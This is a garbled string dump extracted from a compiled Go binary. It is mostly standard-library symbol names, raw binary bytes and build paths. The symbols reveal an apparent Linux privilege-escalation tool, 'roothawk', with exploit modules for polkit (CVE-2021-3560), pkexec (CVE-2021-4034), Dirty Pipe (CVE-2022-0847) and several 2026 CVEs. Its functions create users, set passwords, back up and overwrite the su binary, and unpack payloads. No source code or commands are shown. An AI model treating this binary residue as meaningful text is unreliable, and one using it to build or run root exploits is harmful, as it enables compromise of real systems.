Cmd).watchCtxos/exec.(*ExitError).Erroros/exec.(*Cmd).Waitos.(*Process).Waitos.(*ProcessState).Successos.(*ProcessState).successos/exec.(*Cmd).awaitGoroutinesos/exec.(*Cmd).awaitGoroutines.func1os/exec.(*Cmd).Outputbytes.(*Buffer).Bytesos/exec.(*prefixSuffixSaver).Writeos/exec.(*prefixSuffixSaver).fillos/exec.(*prefixSuffixSaver).Bytesbytes.(*Buffer).Growstrconv.FormatIntos/exec.(*Cmd).environos/exec.dedupEnvos/exec.dedupEnvCaseos/exec.findExecutableinternal/syscall/unix.Eaccessos/exec.lookPathos/exec.validateLookPathpath/filepath.SplitListpath/filepath.splitListstrings.Splitos/exec.interfaceEqual.func1os/exec.Command.func1type:.eq.os/exec.Errortype:.eq.os/exec.wrappedErroros/exec.(*wrappedError).Erroros/exec.(*wrappedError).Unwrapos/exec.ExitError.Stringos/exec.(*ExitError).Stringtype:.eq.os/exec.ctxResulttype:.eq.struct { os/exec.in string; os/exec.out string }type:.eq.os/exec.goroutineStatus·1math/rand.(*Rand).Seedmath/rand.(*Rand).Int31nmath/rand.(*Rand).Int31math/rand.(*Rand).Int63math/rand.(*Rand).Intnmath/rand.globalRandsync/atomic.(*Pointer[go.shape.struct { math/rand.src math/rand.Source; math/rand.s64 math/rand.Source64; math/rand.readVal int64; math/rand.readPos int8 }]).Loadmath/rand.Newsync/atomic.(*Pointer[go.shape.struct { math/rand.src math/rand.Source; math/rand.s64 math/rand.Source64; math/rand.readVal int64; math/rand.readPos int8 }]).CompareAndSwapmath/rand.(*runtimeSource).Int63math/rand.(*runtimeSource).Seedmath/rand.Intnmath/rand.(*lockedSource).Int63math/rand.(*rngSource).Int63math/rand.(*rngSource).Uint64math/rand.(*lockedSource).Seedmath/rand.(*lockedSource).seedPosmath/rand.(*lockedSource).seedmath/rand.newSourcemath/rand.(*rngSource).Seedmath/rand.seedrandtype:.eq.math/rand.lockedSourcetype:.eq.math/rand.runtimeSourcetype:.eq.math/rand.Randos/signal.Notifyos/signal.signumos/signal.Notify.func1os/signal.(*handler).wantos/signal.(*handler).setos/signal.enableSignalos/signal.Notify.deferwrap1os/signal.processos/signal.process.deferwrap1os/signal.loopos/signal.init.0os/signal.Notify.func1.1bufio.(*Reader).fillbufio.(*Reader).Readbufio.(*Reader).Bufferedbufio.(*Reader).readErrbufio.(*Reader).ReadBytebufio.(*Reader).ReadRuneunicode/utf8.FullRunebufio.(*Reader).ReadSlicebufio.(*Reader).ReadLinebufio.(*Reader).WriteTobufio.(*Reader).writeBufos/user.Currentos/user.Lookupos/user.currentos/user.currentUIDos.Getuidos/user.currentGIDos.Getgidos/user.readColonFilebufio.NewReaderbufio.NewReaderSizebufio.(*Reader).resetos/user.findUserIdos/user.matchUserIndexValueos/user.findUserId.matchUserIndexValue.func1os/user.findUsernameos/user.findUsername.matchUserIndexValue.func1os/user.lookupUseros/user.lookupUser.deferwrap1os/user.lookupUserIdos/user.lookupUserId.deferwrap1os/user.UnknownUserIdError.Erroros/user.UnknownUserError.Erroros/user.Current.func1os/user.(*UnknownUserIdError).Erroros/user.(*UnknownUserError).Errortype:.eq.os/user.Usersort.Sortsort.insertionSortsort.siftDownsort.heapSortsort.pdqsortsort.partitionsort.partitionEqualsort.partialInsertionSortsort.breakPatternssort.nextPowerOfTwosort.(*xorshift).Nextsort.choosePivotsort.medianAdjacentsort.mediansort.order2sort.reverseRangeregexp/syntax.initregexp/syntax.map.init.0regexp/syntax.map.init.1regexp/syntax.Compileregexp/syntax.(*compiler).initregexp/syntax.(*compiler).instregexp/syntax.patchList.patchregexp/syntax.(*compiler).compileregexp/syntax.(*compiler).nopregexp/syntax.(*compiler).emptyregexp/syntax.(*compiler).capregexp/syntax.(*compiler).catregexp/syntax.(*compiler).plusregexp/syntax.(*compiler).altregexp/syntax.patchList.appendregexp/syntax.(*compiler).questregexp/syntax.(*compiler).loopregexp/syntax.(*compiler).starregexp/syntax.(*compiler).runeregexp/syntax.(*Error).Errorregexp/syntax.ErrorCode.Stringregexp/syntax.(*parser).checkLimitsregexp/syntax.(*parser).checkSizeregexp/syntax.(*parser).calcSizeregexp/syntax.(*parser).checkHeightregexp/syntax.(*parser).calcHeightregexp/syntax.(*parser).pushregexp/syntax.(*parser).maybeConcatregexp/syntax.(*parser).reuseregexp/syntax.(*parser).literalregexp/syntax.(*parser).newRegexpregexp/syntax.minFoldRuneregexp/syntax.(*parser).opregexp/syntax.(*parser).repeatregexp/syntax.repeatIsValidregexp/syntax.(*parser).concatregexp/syntax.(*parser).alternateregexp/syntax.cleanAltregexp/syntax.(*parser).collapseregexp/syntax.(*parser).factorregexp/syntax.(*parser).leadingStringregexp/syntax.(*parser).leadingRegexpregexp/syntax.isCharClassregexp/syntax.(*parser).removeLeadingStringregexp/syntax.(*parser).removeLeadingRegexpregexp/syntax.parseregexp/syntax.literalRegexpregexp/syntax.parse.func1regexp/syntax.(*parser).parseRepeatregexp/syntax.(*parser).parsePerlFlagsregexp/syntax.isValidCaptureNameregexp/syntax.isalnumregexp/syntax.(*parser).parseIntregexp/syntax.(*parser).parseVerticalBarregexp/syntax.mergeCharClassregexp/syntax.matchRuneregexp/syntax.(*parser).swapVerticalBarregexp/syntax.(*parser).parseRightParenregexp/syntax.(*parser).parseEscaperegexp/syntax.unhexregexp/syntax.(*parser).parseClassCharregexp/syntax.(*parser).parsePerlClassEscaperegexp/syntax.(*parser).parseNamedClassregexp/syntax.(*parser).appendGroupregexp/syntax.initCategoryAliasesregexp/syntax.canonicalNameregexp/syntax.unicodeTableregexp/syntax.(*parser).parseUnicodeClassregexp/syntax.(*parser).parseClassregexp/syntax.cleanClassregexp/syntax.appendLiteralregexp/syntax.appendRangeregexp/syntax.appendFoldedRangeregexp/syntax.appendClassregexp/syntax.appendFoldedClassregexp/syntax.appendNegatedClassregexp/syntax.appendTableregexp/syntax.appendNegatedTableregexp/syntax.negateClassregexp/syntax.ranges.Lessregexp/syntax.ranges.Lenregexp/syntax.ranges.Swapregexp/syntax.checkUTF8regexp/syntax.nextRuneregexp/syntax.InstOp.Stringregexp/syntax.(*Prog).Stringregexp/syntax.(*Prog).Prefixregexp/syntax.(*Prog).skipNopregexp/syntax.(*Inst).opregexp/syntax.(*Inst).MatchRunePosregexp/syntax.(*Inst).Stringregexp/syntax.dumpProgregexp/syntax.bwregexp/syntax.dumpInstregexp/syntax.u32strconv.FormatUintstrconv.QuoteToASCIIregexp/syntax.(*Regexp).Equalslices.Equal[go.shape.[]int32,go.shape.int32]slices.EqualFunc[go.shape.[]*regexp/syntax.Regexp,go.shape.[]*regexp/syntax.Regexp,go.shape.*uint8,go.shape.*uint8]regexp/syntax.(*Regexp).MaxCapregexp/syntax.(*Regexp).CapNamesregexp/syntax.(*Regexp).capNamesregexp/syntax.(*Regexp).Simplifyregexp/syntax.simplify1type:.eq.regexp/syntax.Errorregexp/syntax.(*InstOp).Stringregexp/syntax.(*ErrorCode).Stringregexp/syntax.(*ranges).Lenregexp/syntax.(*ranges).Lessregexp/syntax.(*ranges).Swapregexp.freeBitStateregexp.(*inputs).clearregexp.(*bitState).resetregexp.(*Regexp).tryBacktrackregexp.(*bitState).pushregexp.(*bitState).shouldVisitregexp/syntax.(*Inst).MatchRuneregexp.(*Regexp).backtrackregexp.newBitStateregexp.(*inputs).initregexp.(*inputs).newBytesregexp.(*inputs).newStringregexp.lazyFlag.matchregexp/syntax.IsWordCharregexp.(*machine).matchregexp.(*machine).clearregexp.(*machine).stepregexp.(*machine).addregexp.(*machine).allocregexp.freeOnePassMachineregexp.(*Regexp).doOnePassregexp.newOnePassMachineregexp.(*inputs).newReaderregexp.newLazyFlagregexp.(*Regexp).doExecuteregexp.(*machine).initregexp.onePassPrefixregexp.iopregexp.onePassNextregexp.mergeRuneSetsregexp.mergeRuneSets.func2regexp.mergeRuneSets.func1regexp.onePassCopyregexp.makeOnePassregexp.newQueueregexp.(*queueOnePass).clearregexp.(*queueOnePass).insertregexp.(*queueOnePass).containsregexp.(*queueOnePass).insertNewregexp.(*queueOnePass).emptyregexp.(*queueOnePass).nextregexp.makeOnePass.func1regexp.compileOnePassregexp.cleanupOnePassregexp.(*Regexp).Stringregexp.compileregexp/syntax.Parseregexp/syntax.(*Prog).StartCondregexp.maxBitStateLenregexp.shouldBacktrackregexp.(*Regexp).getregexp.(*Regexp).putregexp.minInputLenregexp.MustCompileregexp.Compileregexp.quoteregexp.(*inputString).stepregexp.(*inputString).canCheckPrefixregexp.(*inputString).hasPrefixregexp.(*inputString).indexregexp.(*inputString).contextregexp.(*inputBytes).stepregexp.(*inputBytes).canCheckPrefixregexp.(*inputBytes).hasPrefixbytes.HasPrefixregexp.(*inputBytes).indexregexp.(*inputBytes).contextregexp.(*inputReader).stepregexp.(*inputReader).canCheckPrefixregexp.(*inputReader).hasPrefixregexp.(*inputReader).indexregexp.(*inputReader).contextregexp.init.0regexp.QuoteMetaregexp.specialregexp.(*Regexp).FindStringregexp.(*Regexp).FindStringSubmatchslices.Sort[go.shape.[]int32,go.shape.int32]slices.pdqsortOrdered[go.shape.int32]slices.reverseRangeOrdered[go.shape.int32]cmp.Less[go.shape.int32]slices.partitionOrdered[go.shape.int32]slices.partitionEqualOrdered[go.shape.int32]slices.partialInsertionSortOrdered[go.shape.int32]slices.choosePivotOrdered[go.shape.int32]slices.medianAdjacentOrdered[go.shape.int32]slices.medianOrdered[go.shape.int32]slices.order2Ordered[go.shape.int32]slices.breakPatternsOrdered[go.shape.int32]slices.heapSortOrdered[go.shape.int32]slices.siftDownOrdered[go.shape.int32]slices.insertionSortOrdered[go.shape.int32]type:.eq.regexp.inputReadertype:.eq.regexp.jobregexp.(*onePassInst).Stringgithub.com/creack/pty.opengithub.com/creack/pty.open.func1github.com/creack/pty.ptsnamegithub.com/creack/pty.ioctlgithub.com/creack/pty.unlockptgithub.com/creack/pty.StartWithAttrsgithub.com/creack/pty.Opengithub.com/creack/pty.StartWithAttrs.func1github.com/creack/pty.StartWithSizegithub.com/creack/pty.InheritSizegithub.com/creack/pty.Setsizegithub.com/creack/pty.GetsizeFullgithub.com/hashicorp/go-version.init.0github.com/hashicorp/go-version.prereleaseCheckgithub.com/hashicorp/go-version.(*Version).Prereleasegithub.com/hashicorp/go-version.(*Version).Segments64github.com/hashicorp/go-version.constraintEqualgithub.com/hashicorp/go-version.(*Version).Equalgithub.com/hashicorp/go-version.constraintNotEqualgithub.com/hashicorp/go-version.constraintGreaterThangithub.com/hashicorp/go-version.constraintLessThangithub.com/hashicorp/go-version.constraintGreaterThanEqualgithub.com/hashicorp/go-version.constraintLessThanEqualgithub.com/hashicorp/go-version.constraintPessimisticgithub.com/hashicorp/go-version.(*Version).LessThangithub.com/hashicorp/go-version.init.1github.com/hashicorp/go-version.newVersiongithub.com/hashicorp/go-version.(*Version).Comparegithub.com/hashicorp/go-version.allZerogithub.com/hashicorp/go-version.comparePartgithub.com/hashicorp/go-version.comparePrereleasesgithub.com/hashicorp/go-version.(*Version).Stringgolang.org/x/sys/unix.initgolang.org/x/sys/unix.fcntlgolang.org/x/sys/unix.init.0golang.org/x/sys/unix.ByteSliceFromStringgolang.org/x/sys/unix.Pipe2golang.org/x/sys/unix.(*SockaddrALG).sockaddrgolang.org/x/sys/unix.sendmsgNgolang.org/x/sys/unix.emptyIovecsgolang.org/x/sys/unix.(*Msghdr).SetIovlengolang.org/x/sys/unix.GetsockoptIntgolang.org/x/sys/unix.(*Iovec).SetLengolang.org/x/sys/unix.(*Msghdr).SetControllengolang.org/x/sys/unix.mmapgolang.org/x/sys/unix.bindgolang.org/x/sys/unix.socketgolang.org/x/sys/unix.getsockoptgolang.org/x/sys/unix.setsockoptgolang.org/x/sys/unix.sendmsggolang.org/x/sys/unix.Bindgolang.org/x/sys/unix.SendmsgNgolang.org/x/sys/unix.SetsockoptStringgolang.org/x/sys/unix.ioctlPtrgolang.org/x/sys/unix.errnoErrgolang.org/x/sys/unix.pipe2golang.org/x/sys/unix.Closegolang.org/x/sys/unix.readgolang.org/x/sys/unix.munmapgolang.org/x/sys/unix.mremapgolang.org/x/sys/unix.Splicegolang.org/x/sys/unix.Statgolang.org/x/sys/unix.BytePtrFromStringgolang.org/x/sys/unix.mmap2golang.org/x/sys/unix.Syscallgolang.org/x/sys/unix.Syscall6golang.org/x/sys/unix.RawSyscallgolang.org/x/sys/unix.socketcallgolang.org/x/sys/unix.rawsocketcalltype:.eq.golang.org/x/sys/unix.SockaddrALGgolang.org/x/term.makeRawgolang.org/x/sys/unix.IoctlGetTermiosgolang.org/x/sys/unix.IoctlSetTermiosgolang.org/x/crypto/ssh/terminal.initgolang.org/x/crypto/ssh/terminal.MakeRawgolang.org/x/term.MakeRawgolang.org/x/crypto/ssh/terminal.Restoregolang.org/x/term.Restoregolang.org/x/term.restoregithub.com/liamg/tml.initgithub.com/liamg/tml.map.init.0github.com/liamg/tml.map.init.1github.com/liamg/tml.map.init.2github.com/liamg/tml.map.init.3github.com/liamg/tml.Parsebytes.NewBufferStringgithub.com/liamg/tml.NewParserstrings.NewReadergithub.com/liamg/tml.(*Parser).handleTaggithub.com/liamg/tml.(*parserState).setFggithub.com/liamg/tml.(*parserState).setAttrgithub.com/liamg/tml.(*parserState).setBggithub.com/liamg/tml.(*Parser).Parsegithub.com/liamg/tml.(*Parser).Parse.deferwrap1github.com/liamg/tml.Fprintfroothawk/pkg/logger.Logger.Printfgithub.com/liamg/tml.Printftype:.eq.roothawk/pkg/logger.Loggerroothawk/pkg/pipe.(*LockablePipe).Flushroothawk/pkg/pipe.(*LockablePipe).Flush.deferwrap1roothawk/pkg/pipe.(*LockablePipe).WaitForStringroothawk/pkg/pipe.(*LockablePipe).WaitForString.func1roothawk/pkg/pipe.(*LockablePipe).WaitForString.func1.deferwrap1roothawk/pkg/pipe.(*LockablePipe).Readroothawk/pkg/pipe.(*LockablePipe).Read.deferwrap1roothawk/pkg/state.(*State).processDistroroothawk/pkg/state.(*State).IsPackageInstalledroothawk/pkg/state.(*State).Assessos.Hostnameroothawk/pkg/state.kernelVersionroothawk/pkg/state.(*State).processSudoersos.Environroothawk/pkg/state.parseSudoLinepath.Basetype:.eq.roothawk/pkg/state.SudoEntryroothawk/pkg/exploits/cve20213560.initroothawk/pkg/exploits/cve20213560.(*exploit).isVulnerableDebianroothawk/pkg/state.(*State).IsDebianLikegithub.com/hashicorp/go-version.NewVersiongithub.com/hashicorp/go-version.(*Version).GreaterThanOrEqualroothawk/pkg/exploits/cve20213560.(*exploit).isVulnerableOtherroothawk/pkg/exploits/cve20213560.(*exploit).IsVulnerableroothawk/pkg/exploits/cve20213560.(*exploit).Shellroothawk/pkg/exploits/cve20213560.(*exploit).Exploitgithub.com/creack/pty.Startroothawk/pkg/pipe.NewLockableroothawk/pkg/exploits/cve20213560.(*exploit).Exploit.func5roothawk/pkg/exploits/cve20213560.(*exploit).Exploit.func4roothawk/pkg/exploits/cve20213560.(*exploit).Exploit.func3roothawk/pkg/exploits/cve20213560.(*exploit).Exploit.func2roothawk/pkg/exploits/cve20213560.(*exploit).Exploit.func1roothawk/pkg/exploits/cve20213560.(*exploit).createUserroothawk/pkg/exploits/cve20213560.(*exploit).createUser.func1roothawk/pkg/exploits/cve20213560.(*exploit).setPasswordroothawk/pkg/exploits/cve20213560.(*exploit).setPassword.func1roothawk/pkg/exploits/cve20213560.(*exploit).timeDbusCommandroothawk/pkg/exploits/cve20213560.(*exploit).installPackageroothawk/pkg/exploits/cve20213560.(*exploit).installPackage.func1roothawk/pkg/exploits/cve20214034.Runroothawk/pkg/exploits/cve20214034.cyanfmt.Printfroothawk/pkg/exploits/cve20214034.Run.deferwrap1roothawk/pkg/exploits/cve20214034.findCompilerroothawk/pkg/shell.WithPasswordroothawk/pkg/shell.WithPassword.func4roothawk/pkg/shell.WithPassword.func3roothawk/pkg/shell.WithPassword.func2roothawk/pkg/shell.WithPassword.func1roothawk/pkg/exploits/cve20220847.(*cve20220847Exploit).IsVulnerableroothawk/pkg/exploits/cve20220847.(*cve20220847Exploit).Shellroothawk/pkg/exploits/cve20220847.(*cve20220847Exploit).Exploitroothawk/pkg/exploits/cve20220847.(*cve20220847Exploit).Exploit.func1roothawk/pkg/exploits/cve20220847.(*cve20220847Exploit).writeToFileroothawk/pkg/exploits/cve20220847.(*cve20220847Exploit).writeToFile.func1roothawk/pkg/exploits/cve20220847.(*cve20220847Exploit).dirtyThatPipegolang.org/x/sys/unix.FcntlInttype:.eq.roothawk/pkg/exploits/cve20220847.cve20220847Exploitcompress/flate.initcompress/flate.generateFixedOffsetEncodingcompress/flate.newHuffmanEncodercompress/flate.reverseBitsmath/bits.Reverse16compress/flate.(*dictDecoder).writeCopycompress/flate.init.0compress/flate.generateFixedLiteralEncodingcompress/flate.(*huffmanEncoder).bitCountscompress/flate.(*huffmanEncoder).assignEncodingAndSizecompress/flate.(*byLiteral).sortcompress/flate.(*huffmanEncoder).generatecompress/flate.(*byFreq).sortcompress/flate.(*hcode).setcompress/flate.byLiteral.Lencompress/flate.byLiteral.Lesscompress/flate.byLiteral.Swapcompress/flate.byFreq.Lencompress/flate.byFreq.Lesscompress/flate.byFreq.Swapcompress/flate.CorruptInputError.Errorcompress/flate.InternalError.Errorcompress/flate.(*huffmanDecoder).initcompress/flate.(*decompressor).nextBlockcompress/flate.(*decompressor).Readcompress/flate.(*dictDecoder).readFlushcompress/flate.(*decompressor).Closecompress/flate.(*decompressor).readHuffmancompress/flate.(*decompressor).huffmanBlockcompress/flate.(*dictDecoder).writeBytecompress/flate.(*dictDecoder).availWritecompress/flate.(*decompressor).finishBlockcompress/flate.(*dictDecoder).availReadcompress/flate.(*dictDecoder).histSizecompress/flate.(*dictDecoder).tryWriteCopymath/bits.Reverse8compress/flate.(*decompressor).dataBlockio.ReadFullcompress/flate.noEOFcompress/flate.(*decompressor).copyDatacompress/flate.(*dictDecoder).writeSlicecompress/flate.(*dictDecoder).writeMarkcompress/flate.(*decompressor).moreBitscompress/flate.(*decompressor).huffSymcompress/flate.(*decompressor).makeReaderbufio.(*Reader).Resetcompress/flate.(*decompressor).Resetcompress/flate.(*dictDecoder).initcompress/flate.NewReadercompress/flate.fixedHuffmanDecoderInitcompress/flate.NewReaderDictcompress/flate.NewReader.fixedHuffmanDecoderInit.func1compress/flate.NewReaderDict.fixedHuffmanDecoderInit.func1type:.eq.compress/flate.literalNodecompress/flate.(*byLiteral).Lencompress/flate.(*byLiteral).Lesscompress/flate.(*byLiteral).Swapcompress/flate.(*byFreq).Lencompress/flate.(*byFreq).Lesscompress/flate.(*byFreq).Swapcompress/flate.(*CorruptInputError).Errorcompress/flate.(*InternalError).Errorhash/adler32.updatehash/adler32.(*digest).Writehash/adler32.(*digest).Sum32compress/zlib.NewReaderDictcompress/zlib.(*reader).Readencoding/binary.bigEndian.Uint32compress/zlib.(*reader).Closecompress/zlib.(*reader).Resetencoding/binary.bigEndian.Uint16hash/adler32.Checksumhash/adler32.Newhash/adler32.(*digest).Resettype:.eq.compress/zlib.readerencoding/hex.InvalidByteError.Errorencoding/hex.Decodeencoding/hex.DecodeStringencoding/hex.DecodedLenencoding/hex.(*InvalidByteError).Errorlog.initlog.init.func1log.Newlog.(*Logger).SetPrefixsync/atomic.(*Pointer[go.shape.string]).Storelog.(*Logger).SetFlagslog.(*Logger).SetOutputlog.(*Logger).SetOutput.deferwrap1log.formatHeadertime.Time.UTCtime.(*Time).setLoclog.itoalog.putBufferlog.(*Logger).outputlog.(*Logger).Prefixsync/atomic.(*Pointer[go.shape.string]).Loadlog.(*Logger).Flagslog.getBufferlog.(*Logger).output.deferwrap2log.(*Logger).output.deferwrap1log.init.0log.Fatalflog.Fatalf.func1log.init.0.func1log.init.0.func1.1type:.eq.log.Loggertype:.eq.sync/atomic.Pointer[string]roothawk/pkg/exploits/cve202631431.initroothawk/pkg/exploits/cve202631431.packCmsggolang.org/x/sys/unix.CmsgLengolang.org/x/sys/unix.CmsgSpacegolang.org/x/sys/unix.cmsgAlignOfgolang.org/x/sys/unix.(*Cmsghdr).SetLenroothawk/pkg/exploits/cve202631431.cgolang.org/x/sys/unix.Socketgolang.org/x/sys/unix.SetsockoptIntgolang.org/x/sys/unix.Sendmsggolang.org/x/sys/unix.Pipegolang.org/x/sys/unix.Readroothawk/pkg/exploits/cve202631431.c.deferwrap4roothawk/pkg/exploits/cve202631431.c.deferwrap3roothawk/pkg/exploits/cve202631431.c.deferwrap2roothawk/pkg/exploits/cve202631431.c.deferwrap1roothawk/pkg/exploits/cve202631431.decompressPayloadbytes.NewReadercompress/zlib.NewReaderroothawk/pkg/exploits/cve202631431.resolveSuroothawk/pkg/exploits/cve202631431.backupSuBinaryroothawk/pkg/exploits/cve202631431.backupSuBinary.deferwrap2roothawk/pkg/exploits/cve202631431.backupSuBinary.deferwrap1roothawk/pkg/exploits/cve202631431.Runlog.Printflog.Printlnroothawk/pkg/exploits/cve202631431.Run.Println.func6roothawk/pkg/exploits/cve202631431.Run.Printf.func5roothawk/pkg/exploits/cve202631431.Run.Printf.func4roothawk/pkg/exploits/cve202631431.Run.Printf.func3roothawk/pkg/exploits/cve202631431.Run.Printf.func2roothawk/pkg/exploits/cve202631431.Run.deferwrap1roothawk/pkg/exploits/cve202631431.Run.Printf.func1roothawk/pkg/exploits/cve202643284.Runroothawk/pkg/exploits/cve202643284.cyanroothawk/pkg/exploits/cve202643284.yellowfmt.Printlnroothawk/pkg/exploits/cve202643284.Run.deferwrap1roothawk/pkg/exploits/cve202643284.findCompilerroothawk/pkg/exploits/cve202643503.Runroothawk/pkg/exploits/cve202643503.cyanroothawk/pkg/exploits/cve202643503.yellowroothawk/pkg/exploits/cve202643503.Run.deferwrap1roothawk/pkg/exploits/cve202643503.findCompilerroothawk/pkg/exploits/cve202646300.Runroothawk/pkg/exploits/cve202646300.cyanroothawk/pkg/exploits/cve202646300.yellowroothawk/pkg/exploits/cve202646300.Run.deferwrap1roothawk/pkg/exploits/cve202646300.findCompilerroothawk/pkg/exploits/cve202646331.Runroothawk/pkg/exploits/cve202646331.cyanroothawk/pkg/exploits/cve202646331.yellowroothawk/pkg/exploits/cve202646331.Run.deferwrap1roothawk/pkg/exploits/cve202646331.findCompilerroothawk/pkg/exploits/cve202646333.Runroothawk/pkg/exploits/cve202646333.yellowroothawk/pkg/exploits/cve202646333.cyanroothawk/pkg/exploits/cve202646333.Run.deferwrap1roothawk/pkg/exploits/cve202646333.findCompilerroothawk/pkg/exploits/dirtydecrypt.Runroothawk/pkg/exploits/dirtydecrypt.cyanroothawk/pkg/exploits/dirtydecrypt.yellowroothawk/pkg/exploits/dirtydecrypt.Run.deferwrap1roothawk/pkg/exploits/dirtydecrypt.findCompilerroothawk/pkg/exploits/pintheft.Runroothawk/pkg/exploits/pintheft.cyanroothawk/pkg/exploits/pintheft.yellowroothawk/pkg/exploits/pintheft.Run.deferwrap1roothawk/pkg/exploits/pintheft.findCompilermain.init.func1main.init.func2main.init.func3main.init.func4main.init.func5main.init.func6main.init.func7main.init.func8main.init.func9main.init.func10main.init.func11roothawk/pkg/exploits/cve20220847.Newmain.mainflag.BoolVarflag.newBoolValueflag.StringVarflag.newStringValueflag.Parsemain.redmain.bannermain.cyanmain.yellowmain.faintmain.printHelpmain.printListmain.greenmain.runAllmain.runChildos.Executablemain.runExploitmain.lookupExploitmain.normalizeNamemain.runExploitModuleroothawk/pkg/state.Newgo:textfipsstartgo:textfipsend6\h6F66|eQ/6 LoYu ` 6 K 6 > ) 68 g Eh 666k6P:67a)g"1%)+F,Y&!,++2n$0-s0X=m54/?%'o'G*7.56%(2Y11,0nQ(>W?./=#)6=?36 '3">9OCF*_3&g7.4 ,:T( < E!p"8  E#)\-<%c/-2 $4a;58>$:[9q-:;8185<"CVA@@A%B$@BBg7 | Pk` u DtDD;EEFoFFAG6G6sHHG6H:II6LJ6kJ]NLHJJ}O(KKKJLhg6{(KKH[ge[\N8  Ej| `sH |X!sqjgojSih"UVTUJhQOQlkJJ6mc`lNpxz Y^|E_Y{^ 6l(KKHkc`PnsHoQl!sqjgojSih"UVTUJhOQkJJ6m `Npxz!xsl}OJygKkm[wmJLnF,o|zIPQpq~s=ttruuzq0vvvw}xs@yzgF{z` |S!anbbSr,^_bdc`?rapohgo'%'0"'G*7.56p"4m5/?%(2Y11,0-2n0X=Q(>W?.+/=#)6n$=?1%+ t-eOP6MkJJHg"4/T6sHMJHkJJMM `!sqjgojSih"UVTUJhQOQl6mc`lNpxzIPQPnJLnF,oosl|zBXUM}m!x Yn$,poruH1}Ya6MJHkJJMM]N6N6O}OIP(KKHQQOkJJS|SJLQIRPR?r` S sHYT6TsHUMJHkJJMM"UV WWUGVrWOQTS|SO6BXsH"UVTUkJJ:IJHUG6X6 YsHYX` uoY6[;ZZ6'\e[g\[\N8  EM]]]NLHJkJ(KKh` "4/,+T YYZ) ^6{^[ge[\N8  EE_^_6 `6c`"UVTUsH`6!asHa6bkJJnbH6ObQQDccHf8drdt-e6e}OJHkJJf&iQzgsHO|SfjgojSih"UVTUJhQKk(KKgjF,cJLQDchgo'%'0"'G*7.56,p"4m5/?%(2Y11,0-2n0X=Q(>W?.+/=#)6n$=?1%+ `` 6 ZԛNBX"UVTU-ߔӓ}j}!sqjgojSihJhQOQlkJJH6mc`l `Npxz} |{IPQPnJLnF,oosl|zU\~usH6}1}~N} `JHkJJ[XZz 6\~sH{ `"Uu\N[ge[8  E |^_~T Y}1}T!sqjgojSihVUJhQOQlkJJH6mc`lNpxzhoY` 6sH `[NSXZz 6sH!x!sc`"UVTU!atQl}qjgojSihJhOQlkJJH6m `Npxz^|E_ ~saX6MJHkJJMM6NkJJPnJHBX"UVTU6sH `X6} `JHkJJI Y!sqjgojSih"UVTUJhQOQl6mc`lNpxzsH}um |zk|S` 6p^E_|6F[؇JHkJJ1}Z} YYX;ZS` 6{S `(KKHXZYF[^|E_1}}6csH!sqjgojSih"UVTUJhQOQlkJJH6mc`l `Npxz"݋IPQPnJLnF,oosl|zBXUe" Y` 6{S `} Y |M]{` sH6[QHkJJ9IPQˎuH"UJHVTURSOߘ Y}QOѐ6)kJJ `X Yu6kJJ `)u6JLkJJH `={!sqjgojSih"UVTUJhQOQl6mc`lNpxz}}6}=6 `kJJ"UUVTU} |sH6ӓ-ߔX} | l `!sqjgojSih"UVTUJhQOQlkJJH6mc`NpxzIPQPnJLnF,oosl|zBXUmsHz6j{S `-ߔӓBX"UVTU}} |{}!sqjgojSihJhQOQlkJJH6mc`lNpxzIPQPnJLnF,oosl|zUN")sH6 |y=tl!sc`{ `qjgojSih"UVTUJhQOQlkJJH6mNpxzIPQPnJLnF,oosl|zBXUmsH6} `!sqjgojSih"UVTUJhQOQlkJJH6mc`lNpxzIPQPnJLnF,oosl|zBXU{N") |esH6}BX"UVTU-ߔӓ!sqjgojSihJhQOQlkJJH6mc`l `Npxzru |sH|S{S}6sH,L `JHkJJ Y6 6vsH `,L |ߘ 6J6kJJ `H!sqjgojSih"UVTUJhQOQl6mc`lNpxz(KK{uT6 !sqjgojSih"UVTUJhQOQlkJJH6mc`l `NpxzJIPQPnJLnF,oosl|zBXU |!xvS9[}HsH6 |y=tl!sc`{ `qjgojSih"UVTUJhQOQlkJJH6mNpxzIPQPnJLnF,oosl|zBXUsH6 |y=tl!sc`{ `qjgojSih"UVTUJhQOQlkJJH6mNpxzIPQPnJLnF,oosl|zBXUsH6Z |y=tl!sc`{ `qjgojSih"UVTUJhQOQlkJJH6mNpxzIPQPnJLnF,oosl|zBXUsH6 |y=tl!sc`{ `qjgojSih"UVTUJhQOQlkJJH6mNpxzIPQPnJLnF,oosl|zBXUsH6ԛ |{y=tl!sc` `qjgojSih"UVTUJhQOQlkJJH6mNpxzIPQPnJLnF,oosl|zBXUsH6 |y=tl!sc`{ `qjgojSih"UVTUJhQOQlkJJH6mNpxzIPQPnJLnF,oosl|zBXUsH6N |y=tl!sc`{ `qjgojSih"UVTUJhQOQlkJJH6mNpxzIPQPnJLnF,oosl|zBXUsHC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/abi/bounds.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/abi/escape.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/abi/type.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/cpu/cpu.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/cpu/cpu_x86.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/cpu/cpu_x86.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/atomic/atomic_386.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/atomic/types.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/atomic/unaligned.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/atomic/atomic_386.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/bytealg/compare_386.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/bytealg/equal_386.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/bytealg/indexbyte_386.sC:/Users/admin/go/